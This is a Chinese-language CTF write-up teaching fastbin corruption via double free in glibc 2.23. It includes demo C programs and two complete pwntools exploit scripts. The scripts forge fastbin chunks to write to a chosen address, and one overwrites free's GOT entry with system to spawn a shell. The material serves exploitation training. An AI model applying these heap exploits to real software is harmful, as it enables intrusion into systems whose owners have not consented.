堆漏洞之--Fastbin corruption

堆漏洞之--Fastbin corruption

漏洞利用前提:

首先呢,对于这个漏洞,是在Fastbin上做文章,但是呢,这个漏洞的利用也是有前提条件的:

本质条件呢,是我们free掉chunk之后,并没有将指针置0,因此,我们也可以说,是存在UAF漏洞的。

在漏洞的利用方面,该漏洞要配合Double free漏洞,这个不用担心,存在UAF漏洞也意味着存在Double free漏洞的。

Double free漏洞介绍:

Double free漏洞的成因是,我们将chunk进行free之后,并没有将指针置为零,导致这一块我们依然可以操作,所以我们可以再次调用free函数,对该chunk再一次释放。

我们来做试验(测试环境为:glibc2.23):

实验源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>

#define HEAP_SIZE 10

int main() {
void *heap[HEAP_SIZE];

heap[0] = malloc(0x10);
heap[1] = malloc(0x10);
heap[2] = malloc(0x10);

printf("Chunk 1 address: %p\n", heap[0]);
printf("Chunk 2 address: %p\n", heap[1]);
printf("Chunk 3 address: %p\n", heap[2]);

free(heap[0]);
free(heap[0]);
//free(heap[1]);
//free(heap[0]);

return 0;
}

我们编译运行,当我们执行时,发现程序报错:

1

这是因为fastbin会检查,且有且检查下一个free的chunk是否和上一个相同,所以给了我们绕过的机会,只要我们先free(heap[0]),再free(heap[1]),再free(heap[0])就可以绕过该检查,达到Double free的目的:

2

Fastbin corruption漏洞解析:

Fastbin corruption漏洞就是在Double free漏洞的基础上(以上面为例),再次mallco(0x10),此时就可以申请到0x602000这块堆空间,如果题目可以在申请的chunk中做写入,那么当我们写入数据的时候,fd指针就会被我们改写(因为还有一块0x602000在fastbin中)(也就是上图的最后一块),那么就可以指向任意位置,那我们就可以继续mallco直到申请到我们想要的地方,达到任意位置写入。

我们来做试验(测试环境为:glibc2.23):

实验源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>

int main() {
void *heap[10];

heap[0] = malloc(0x10);
heap[1] = malloc(0x10);

free(heap[0]);
free(heap[1]);
free(heap[0]);

heap[3] = malloc(0x10);
read(0,heap[3],0x8);

return 0;
}

当我们read读入deadbeef时,便会:

3

例题解析:

例1:[NewStarCTF 2023 公开赛道]Double

先看一眼保护:

4

5

是个菜单题目,而且呢,del函数中存在漏洞,这个菜单很短,只有申请和释放:

6

想拿到shell也不难,只要满足0x602070处的值是1638就可以了,我先放出payload,再做解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
#sh = process("./Double")
sh = remote("node5.buuoj.cn",29422)
context.log_level = 'debug'
context.arch = 'amd64'

def add(idx,context):
sh.recvuntil(">\n")
sh.sendline("1")
sh.recvuntil("Input idx\n")
sh.sendline(str(idx))
sh.recvuntil("Input content\n")
sh.sendline(context)

def delete(idx):
sh.recvuntil(">\n")
sh.sendline("2")
sh.recvuntil("Input idx\n")
sh.sendline(str(idx))

def check():
sh.recvuntil(">\n")
sh.sendline("3")

add(0,"A"*0x10)
add(1,"B"*0x10)

delete(0)
delete(1)
delete(0)

fake_chunk_addr = 0x602060

payload = p64(fake_chunk_addr)
add(2,payload)
add(3,"deadbeef")
add(4,"deadbeef")

payload = p64(0x666)
add(5,payload)

#gdb.attach(sh)

sh.interactive()

问题的关键,就是fake_chunk_addr的筛选,按照我前面说的,大家是不是觉得,我们利用Fastbin corruption漏洞将fd指针改到哪里,我们就可以申请到哪里,其实并不是的,从fastbin中malloc,是要对即将malloc到的chunk做检查的,检查啥呢,该chunk的size区域,如果不符合该fastbin的大小,我们将无法进行申请,拿到该区域:

8

而我们要修改的区域0x602070处的前0x10字节,就有适合我们做伪造的区域。

(注:对size域做检查的时候,只会检查前四个字节,并不会8字节全检查,所以,可伪造的区域也很多)

例题2:Baby fast

这道题目,与上到题目类似,大家可以试一试,看看能否独自攻破,这道题目,我选择的是改掉free函数的got,所以我选的fd指向的位置如下:

9

因为只检查前四个字节的缘故,这一段也可以哦,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'


sh = process("./pwn1")

def create(size,content):
sh.recvuntil(" : ")
sh.sendline("1")
sh.recvuntil(" : ")
sh.sendline(str(size))
sh.recvuntil(" : ")
sh.sendline(content)

def dfree(indx):
sh.recvuntil(" : ")
sh.sendline("2")
sh.recvuntil(" : ")
sh.sendline(str(indx))


create(0x50,"deadbeef") # 0
create(0x50,"deadbeef") # 1

dfree(0)
dfree(1)
dfree(0)

fake_chunk_addr = 0x601ffa
elf = ELF("./pwn1")
system_plt_addr = elf.plt["system"]

create(0x50,p64(fake_chunk_addr)) # 2

create(0x50,"deadbeef") # 3
create(0x50,"/bin/sh\x00") # 4

create(0x50,"A"*0xe + p64(system_plt_addr)) # 5


dfree(4)
#gdb.attach(sh)
sh.interactive()